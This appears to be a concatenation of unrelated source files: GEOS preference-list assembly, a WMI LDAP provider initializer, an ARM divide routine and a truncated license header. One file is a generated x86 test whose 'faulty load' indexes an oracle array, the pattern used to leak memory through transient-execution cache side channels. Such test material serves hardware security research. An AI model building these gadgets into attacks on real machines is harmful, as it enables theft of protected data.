EC< WARNING_NE WARNING_PSDL_BAD_SEARCH_PATH >
;
; create our chunk array for storing the description text.
; create it in the PrefSpuiStrings resource.
;
push ds, si
mov bx, handle PrefSpuiStrings
call MemLock
mov ds, ax
clr ax ; no flags
mov bx, ax ; variable sized elements
mov cx, ax ; no header
mov si, ax ; give us a chunk
call ChunkArrayCreate
EC< ERROR_C ERROR_CANT_I_EVEN_ALLOCATE_A_SIMPLE_BLOCK >
mov ax, si ; new chunk in ax
pop ds, si
mov di, ds:[si]
add di, ds:[di].PSDescriptiveDL_offset
mov ds:[di].PSDDLI_descTextArray, ax
mov bx, handle PrefSpuiStrings
call MemUnlock
;
; Don't call our superclass until after the chunk array has been
; allocated, because our superclass init's the list which calls
; to us and we will assume it has already been created.
;
mov ax, MSG_PREF_INIT
mov di, offset PSDescriptiveDLClass
call ObjCallSuperNoLock
.leave
ret
PSDDLPrefInit endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PSDDLInitItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Grab the description text from the demo .ini file and
stuff it into our ChunkArray.
CALLED BY: MSG_PSDL_INIT_ITEM
PASS: *ds:si = PSDescriptiveDLClass object
ax = message #
ss:bp inherited stack frame from PSDLGetItemInfo
RETURN: bp = same as passed
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 9/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PSDDLInitItem method dynamic PSDescriptiveDLClass,
MSG_PSDL_INIT_ITEM
.enter inherit PSDLGetItemInfo
mov di, offset PSDescriptiveDLClass
call ObjCallSuperNoLock
mov es, ss:[iniBufSptr]
mov cx, ss:[iniBufNumChars]
segmov ds, cs, si
mov si, offset demoCategory
call PSDLFindCategory
jc useDefault
mov si, offset descriptionText
call PSDLFindKey
jnc gotText
;
; the descriptionText key wasn't found, so null out the entry,
; and when setting the text object we will use a default string.
;
useDefault:
segmov es, cs, di
mov di, offset nullPtr
SBCS< mov bx, size char >
DBCS< mov bx, size wchar >
gotText:
mov cx, bx ; put text length in cx
lds si, ss:[objPtr] ; restore our object
mov si, ds:[si]
add si, ds:[si].PSDescriptiveDL_offset
mov si, ds:[si].PSDDLI_descTextArray
mov bx, handle PrefSpuiStrings
call MemLock
mov ds, ax
mov bx, di
mov ax, cx ; element length
call ChunkArrayAppend
jc skipCopy
segxchg ds, es ; es:di is our chunk element
mov si, bx ; ds:si is our data
LocalCopyNString
clc
skipCopy:
mov bx, handle PrefSpuiStrings
call MemUnlock
.leave
ret
PSDDLInitItem endm
LocalDefNLString descriptionText <'descriptionText', 0>
LocalDefNLString nullPtr <0>
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PSDDLItemSelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: An item was selected, so fill our text object with the
description text in our ChunkArray.
CALLED BY: MSG_PSDDL_ITEM_SELECTED
PASS: *ds:si = PSDescriptiveDLClass object
ds:di = PSDescriptiveDLClass instance data
cx = current selection
dl = GenItemGroupStateFlags
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 9/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PSDDLItemSelected method dynamic PSDescriptiveDLClass,
MSG_PSDDL_ITEM_SELECTED
.enter
cmp cx, GIGS_NONE
je exit
pushdw ds:[di].PSDDLI_descTextObj ; save for later message send
mov si, ds:[di].PSDDLI_descTextArray
mov bx, handle PrefSpuiStrings
call MemLock ; lock down chunk array's block
mov ds, ax
mov ax, cx ; element #
call ChunkArrayElementToPtr ; returns cx as size
jc unlock
;
; if the text is null, then we should use the default
; text, cleverly in the same resource...
;
LocalIsNull ds:[di]
jnz gotText
mov di, offset PrefSpuiDefaultDescriptionText
mov di, ds:[di]
ChunkSizePtr ds, di, cx
dec cx ; don't include null
gotText:
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
popdw bxsi ; bx:si is our text obj
movdw dxbp, dsdi ; dx:bp is our desc. text
clr di
call ObjMessage
unlock:
mov bx, handle PrefSpuiStrings
call MemUnlock ; unlock text's block
exit:
.leave
ret
PSDDLItemSelected endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PSDDLApply
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write out the correct ini string and reboot.
CALLED BY: MSG_PSDDL_APPLY
PASS: *ds:si = PSDescriptiveDLClass object
ds:di = PSDescriptiveDLClass instance data
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
The GenPathData of this object is assumed to have SP_TOP as its
diskhandle, and will issue a SWAT warning if it doesn't. On this
assumption, we just copy the relative path and add the .ini file
name to the end when constructing the ini file to link to.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 9/30/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PSDDLApply method dynamic PSDescriptiveDLClass,
MSG_PSDDL_APPLY
pathBuf local PathName
.enter
;
; build object's path into buffer
;
push si
mov ax, ATTR_GEN_PATH_DATA
call ObjVarFindData
EC< WARNING_NC WARNING_PSDL_BAD_SEARCH_PATH >
jnc errorExit
lea si, ds:[bx].GFP_path ; ds:si is our relative path
segmov es, ss, di
lea di, ss:[pathBuf] ; es:di is our buffer
LocalCopyString
LocalPrevChar esdi ; back up over null
LocalLoadChar ax, C_BACKSLASH
LocalPutChar esdi, ax
pop si
;
; Append on the .ini file name
;
mov bx, ds:[si]
add bx, ds:[bx].Gen_offset
mov dx, ds:[bx].GIGI_selection
mov al, size NameAndLabel
mul dl ; assume selection <= 255
CheckHack< (offset NAL_filename) eq 0 >
mov dx, ax ; dx = our nptr to the selected filename
mov bx, ds:[si]
add bx, ds:[bx].PSDescriptiveDL_offset
mov bx, ds:[bx].PSDLI_nameArray
push ds
call MemLock
mov ds, ax
mov si, dx ; ds:di is our filename
LocalCopyString ; append it to our path
call MemUnlock
pop ds
lea di, ss:[pathBuf]
call PSDSetIni
errorExit:
.leave
ret
PSDDLApply endm
|
//
// Copyright (c) 1997-2001 Microsoft Corporation, All Rights Reserved
//
// ***************************************************************************
//
// Original Author: Rajesh Rao
//
// $Author: rajeshr $
// $Date: 6/11/98 4:43p $
// $Workfile:instproi.cpp $
//
// $Modtime: 6/11/98 11:21a $
// $Revision: 1 $
// $Nokeywords: $
//
//
// Description: Contains implementation of the class that is used to initialize the
// CLDAPInstanceProvider class
//
//***************************************************************************
#include "precomp.h"
//***************************************************************************
//
// CDSInstanceProviderInitializer::CDSInstanceProviderInitializer
//
// Constructor Parameters:
// None
//
//
//***************************************************************************
CDSInstanceProviderInitializer :: CDSInstanceProviderInitializer ()
{
CLDAPInstanceProvider :: CLASS_STR = SysAllocString(L"__CLASS");
CLDAPInstanceProvider :: DN_PROPERTY = SysAllocString(L"DN");
CLDAPInstanceProvider :: ROOT_DN_PROPERTY = SysAllocString(L"RootDNForSearchAndQuery");
CLDAPInstanceProvider :: QUERY_LANGUAGE = SysAllocString(L"WQL");
CLDAPInstanceProvider :: RELPATH_STR = SysAllocString(L"__RELPATH");
CLDAPInstanceProvider :: VALUE_PROPERTY_STR = SysAllocString(L"value");
CLDAPInstanceProvider :: DN_STRING_PROPERTY_STR = SysAllocString(L"dnString");
CLDAPInstanceProvider :: UINT8ARRAY_STR = SysAllocString(L"Uint8Array");
CLDAPInstanceProvider :: DN_WITH_BINARY_CLASS_STR = SysAllocString(L"DN_With_Binary");
CLDAPInstanceProvider :: DN_WITH_STRING_CLASS_STR = SysAllocString(L"DN_With_String");
CLDAPInstanceProvider :: ADSI_PATH_STR = SysAllocString(ADSI_PATH_ATTR);
CLDAPInstanceProvider :: INSTANCE_ASSOCIATION_CLASS_STR = SysAllocString(INSTANCE_ASSOCIATION_CLASS);
CLDAPInstanceProvider :: CHILD_INSTANCE_PROPERTY_STR = SysAllocString(L"ChildInstance");
CLDAPInstanceProvider :: PARENT_INSTANCE_PROPERTY_STR = SysAllocString(L"ParentInstance");
CLDAPInstanceProvider :: ATTRIBUTE_SYNTAX_STR = SysAllocString(L"attributeSyntax");
CLDAPInstanceProvider :: DEFAULT_OBJECT_CATEGORY_STR = SysAllocString(L"defaultObjectCategory");
CLDAPInstanceProvider :: LDAP_DISPLAY_NAME_STR = SysAllocString(L"ldapDisplayName");
CLDAPInstanceProvider :: PUT_EXTENSIONS_STR = SysAllocString(L"__PUT_EXTENSIONS");
CLDAPInstanceProvider :: PUT_EXT_PROPERTIES_STR = SysAllocString(L"__PUT_EXT_PROPERTIES");
CLDAPInstanceProvider :: CIMTYPE_STR = SysAllocString(L"Cimtype");
// LDAP://RootDSE Properties
CLDAPInstanceProvider :: SUBSCHEMASUBENTRY_STR = SysAllocString(L"subschemaSubentry");
CLDAPInstanceProvider :: CURRENTTIME_STR = SysAllocString(L"currentTime");
CLDAPInstanceProvider :: SERVERNAME_STR = SysAllocString(L"serverName");
CLDAPInstanceProvider :: NAMINGCONTEXTS_STR = SysAllocString(L"namingContexts");
CLDAPInstanceProvider :: DEFAULTNAMINGCONTEXT_STR = SysAllocString(L"defaultNamingContext");
CLDAPInstanceProvider :: SCHEMANAMINGCONTEXT_STR = SysAllocString(L"schemaNamingContext");
CLDAPInstanceProvider :: CONFIGURATIONNAMINGCONTEXT_STR = SysAllocString(L"configurationNamingContext");
CLDAPInstanceProvider :: ROOTDOMAINNAMINGCONTEXT_STR = SysAllocString(L"rootDomainNamingContext");
CLDAPInstanceProvider :: SUPPORTEDCONTROLS_STR = SysAllocString(L"supportedControl");
CLDAPInstanceProvider :: SUPPORTEDVERSION_STR = SysAllocString(L"supportedLDAPVersion");
CLDAPInstanceProvider :: DNSHOSTNAME_STR = SysAllocString(L"dnsHostName");
CLDAPInstanceProvider :: DSSERVICENAME_STR = SysAllocString(L"dsServiceName");
CLDAPInstanceProvider :: HIGHESTCOMMITEDUSN_STR = SysAllocString(L"highestCommittedUSN");
CLDAPInstanceProvider :: LDAPSERVICENAME_STR = SysAllocString(L"LDAPServiceName");
CLDAPInstanceProvider :: SUPPORTEDCAPABILITIES_STR = SysAllocString(L"supportedCapabilities");
CLDAPInstanceProvider :: SUPPORTEDLDAPPOLICIES_STR = SysAllocString(L"supportedLDAPPolicies");
CLDAPInstanceProvider :: SUPPORTEDSASLMECHANISMS_STR = SysAllocString(L"supportedSASLMechanisms");
}
//***************************************************************************
//
// CDSInstanceProviderInitializer::CDSInstanceProviderInitializer
//
// Destructor
//
//
//***************************************************************************
CDSInstanceProviderInitializer :: ~CDSInstanceProviderInitializer ()
{
SysFreeString(CLDAPInstanceProvider::CLASS_STR);
SysFreeString(CLDAPInstanceProvider::DN_PROPERTY);
SysFreeString(CLDAPInstanceProvider::ROOT_DN_PROPERTY);
SysFreeString(CLDAPInstanceProvider::QUERY_LANGUAGE);
SysFreeString(CLDAPInstanceProvider::RELPATH_STR);
SysFreeString(CLDAPInstanceProvider::VALUE_PROPERTY_STR);
SysFreeString(CLDAPInstanceProvider::DN_STRING_PROPERTY_STR);
SysFreeString(CLDAPInstanceProvider::UINT8ARRAY_STR);
SysFreeString(CLDAPInstanceProvider::DN_WITH_STRING_CLASS_STR);
SysFreeString(CLDAPInstanceProvider::DN_WITH_BINARY_CLASS_STR);
SysFreeString(CLDAPInstanceProvider::ADSI_PATH_STR);
SysFreeString(CLDAPInstanceProvider::INSTANCE_ASSOCIATION_CLASS_STR);
SysFreeString(CLDAPInstanceProvider::CHILD_INSTANCE_PROPERTY_STR);
SysFreeString(CLDAPInstanceProvider::PARENT_INSTANCE_PROPERTY_STR);
SysFreeString(CLDAPInstanceProvider::ATTRIBUTE_SYNTAX_STR);
SysFreeString(CLDAPInstanceProvider::DEFAULT_OBJECT_CATEGORY_STR);
SysFreeString(CLDAPInstanceProvider::LDAP_DISPLAY_NAME_STR);
SysFreeString(CLDAPInstanceProvider::PUT_EXTENSIONS_STR);
SysFreeString(CLDAPInstanceProvider::PUT_EXT_PROPERTIES_STR);
SysFreeString(CLDAPInstanceProvider::CIMTYPE_STR);
// LDAP://RootDSE Properties
SysFreeString(CLDAPInstanceProvider::SUBSCHEMASUBENTRY_STR);
SysFreeString(CLDAPInstanceProvider::CURRENTTIME_STR);
SysFreeString(CLDAPInstanceProvider::SERVERNAME_STR);
SysFreeString(CLDAPInstanceProvider::NAMINGCONTEXTS_STR);
SysFreeString(CLDAPInstanceProvider::DEFAULTNAMINGCONTEXT_STR);
SysFreeString(CLDAPInstanceProvider::SCHEMANAMINGCONTEXT_STR);
SysFreeString(CLDAPInstanceProvider::CONFIGURATIONNAMINGCONTEXT_STR);
SysFreeString(CLDAPInstanceProvider::ROOTDOMAINNAMINGCONTEXT_STR);
SysFreeString(CLDAPInstanceProvider::SUPPORTEDCONTROLS_STR);
SysFreeString(CLDAPInstanceProvider::SUPPORTEDVERSION_STR);
SysFreeString(CLDAPInstanceProvider::DNSHOSTNAME_STR);
SysFreeString(CLDAPInstanceProvider::DSSERVICENAME_STR);
SysFreeString(CLDAPInstanceProvider::HIGHESTCOMMITEDUSN_STR);
SysFreeString(CLDAPInstanceProvider::LDAPSERVICENAME_STR);
SysFreeString(CLDAPInstanceProvider::SUPPORTEDCAPABILITIES_STR);
SysFreeString(CLDAPInstanceProvider::SUPPORTEDLDAPPOLICIES_STR);
SysFreeString(CLDAPInstanceProvider::SUPPORTEDSASLMECHANISMS_STR);
}
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Microsoft Research Singularity
;;;
;;; Copyright (c) Microsoft Corporation. All rights reserved.
;;;
;;; This file contains ARM-specific assembly code.
;;;
; Unsigned divide of r1 by r0: returns quotient in r0, remainder in r1
; Destroys a3, a4
OPT 2 ; disable listing
INCLUDE kxarm.inc
OPT 1 ; reenable listing
IMPORT __rt_div0
IF Thumbing
AREA |.text|, CODE, READONLY, THUMB
ELSE
AREA |.text|, CODE, READONLY
ENDIF
EXPORT |__rt_udiv| [FUNC]
|__rt_udiv|
IF Thumbing
; Switch from Thumb mode to ARM mode
DCW 0x4778 ; bx pc
DCW 0x46C0 ; nop
ENDIF
MOV a4, #0
MOVS a3, r0
BEQ DivideByZero
while
CMP a3, r1, LSR #8
MOVLS a3, a3, LSL #8
BLO while
CMP a3, r1, LSR #1
BHI goto7
CMP a3, r1, LSR #2
BHI goto6
CMP a3, r1, LSR #3
BHI goto5
CMP a3, r1, LSR #4
BHI goto4
CMP a3, r1, LSR #5
BHI goto3
CMP a3, r1, LSR #6
BHI goto2
CMP a3, r1, LSR #7
BHI goto1
loop
MOVHI a3, a3, LSR #8
CMP r1, a3, LSL #7
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #7
CMP r1, a3, LSL #6
goto1
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #6
CMP r1, a3, LSL #5
goto2
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #5
CMP r1, a3, LSL #4
goto3
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #4
CMP r1, a3, LSL #3
goto4
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #3
CMP r1, a3, LSL #2
goto5
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #2
CMP r1, a3, LSL #1
goto6
ADC a4, a4, a4
SUBCS r1, r1, a3, LSL #1
goto7
CMP r1, a3
ADC a4, a4, a4
SUBCS r1, r1, a3
CMP a3, r0
BNE loop
MOV r0, a4
end
IF Interworking :LOR: Thumbing
BX lr
ELSE
MOV pc, lr
ENDIF
;
; Divide by zero has occurred. Raise an exception
; call RaiseException(STATUS_INTEGER_DIVIDE_BY_ZERO, 0, 0, NULL)
;
DivideByZero
ldr r12, =__rt_div0
ldr r0, =0xC0000094
mov r1, #0
mov r2, #0
mov r3, #0
IF Thumbing
bx r12
ELSE
mov pc, r12
ENDIF
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1c1f0, %r15
nop
nop
nop
nop
add %r8, %r8
mov (%r15), %r12d
nop
nop
nop
nop
cmp $55996, %r11
lea addresses_WT_ht+0x1a9dc, %rdi
nop
nop
nop
nop
nop
inc %r13
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
add $53834, %rdi
lea addresses_WT_ht+0xb05c, %rsi
lea addresses_WT_ht+0x1c9d4, %rdi
nop
add %r11, %r11
mov $36, %rcx
rep movsw
xor $50329, %rsi
lea addresses_WT_ht+0x9984, %r8
nop
nop
nop
nop
nop
and %r15, %r15
movw $0x6162, (%r8)
nop
nop
nop
nop
and %r12, %r12
lea addresses_UC_ht+0x4b9c, %rdi
nop
sub $65011, %r12
mov (%rdi), %r8
nop
nop
sub $19004, %rdi
lea addresses_UC_ht+0x50c8, %r13
nop
nop
nop
nop
nop
add %rdi, %rdi
and $0xffffffffffffffc0, %r13
vmovntdqa (%r13), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r15
nop
xor $30317, %rcx
lea addresses_A_ht+0x1b6c, %rsi
lea addresses_A_ht+0xf1e, %rdi
dec %r8
mov $41, %rcx
rep movsw
add %rdi, %rdi
lea addresses_WC_ht+0x909c, %r15
nop
nop
nop
nop
and $42237, %r8
movb $0x61, (%r15)
nop
nop
nop
nop
sub $17916, %rcx
lea addresses_UC_ht+0xc6ac, %r12
nop
nop
dec %r11
mov (%r12), %esi
nop
nop
nop
dec %r11
lea addresses_UC_ht+0xa39c, %rsi
lea addresses_D_ht+0x1184, %rdi
nop
nop
inc %r15
mov $80, %rcx
rep movsl
nop
nop
xor $4120, %r11
lea addresses_normal_ht+0x8b9c, %rsi
lea addresses_normal_ht+0x1819c, %rdi
clflush (%rdi)
nop
inc %r12
mov $1, %rcx
rep movsl
nop
nop
nop
nop
nop
and $51287, %rdi
lea addresses_A_ht+0xfb5c, %r13
nop
nop
nop
nop
nop
sub $19187, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, (%r13)
nop
nop
xor $34321, %r13
lea addresses_D_ht+0x1889c, %r12
nop
nop
nop
nop
nop
xor %r11, %r11
mov (%r12), %rdi
nop
nop
nop
nop
nop
cmp $50551, %r15
lea addresses_D_ht+0x1439c, %r15
cmp %rcx, %rcx
movl $0x61626364, (%r15)
nop
nop
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %r9
push %rbp
push %rbx
push %rcx
// Store
lea addresses_PSE+0xcb9c, %r10
nop
nop
nop
nop
add $30763, %rcx
movl $0x51525354, (%r10)
nop
nop
nop
nop
nop
xor $5251, %r14
// Store
mov $0x59c, %r8
nop
nop
nop
nop
and $55431, %r9
mov $0x5152535455565758, %rcx
movq %rcx, (%r8)
nop
xor %r9, %r9
// Store
mov $0x127922000000055f, %rbx
nop
and %r10, %r10
mov $0x5152535455565758, %r14
movq %r14, %xmm2
vmovaps %ymm2, (%rbx)
nop
nop
dec %r8
// Store
mov $0x5a78140000000842, %rcx
nop
nop
nop
cmp %r9, %r9
movl $0x51525354, (%rcx)
nop
nop
nop
and $54379, %rbx
// Store
mov $0x493, %r10
nop
nop
and %r8, %r8
mov $0x5152535455565758, %r14
movq %r14, %xmm7
vmovntdq %ymm7, (%r10)
and %r14, %r14
// Store
lea addresses_A+0x1661c, %rbx
clflush (%rbx)
nop
nop
nop
sub $10294, %rcx
mov $0x5152535455565758, %r9
movq %r9, %xmm4
movaps %xmm4, (%rbx)
nop
nop
nop
xor %r14, %r14
// Store
mov $0x197ea10000000540, %r9
clflush (%r9)
nop
and $41205, %r10
mov $0x5152535455565758, %rcx
movq %rcx, %xmm2
vmovups %ymm2, (%r9)
nop
nop
nop
nop
nop
add $51264, %r8
// Load
lea addresses_UC+0x7e57, %rcx
add %r8, %r8
mov (%rcx), %r9
nop
nop
nop
nop
add %rcx, %rcx
// Store
lea addresses_PSE+0x1b24c, %r14
nop
sub $39003, %rbp
mov $0x5152535455565758, %r9
movq %r9, %xmm5
vmovups %ymm5, (%r14)
nop
nop
nop
nop
xor %rbp, %rbp
// Faulty Load
lea addresses_PSE+0xcb9c, %rcx
nop
nop
nop
nop
and %rbx, %rbx
movb (%rcx), %r9b
lea oracles, %rbp
and $0xff, %r9
shlq $12, %r9
mov (%rbp,%r9,1), %r9
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_PSE'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_P'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_NC'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_P'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_NC'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_PSE'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 6, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
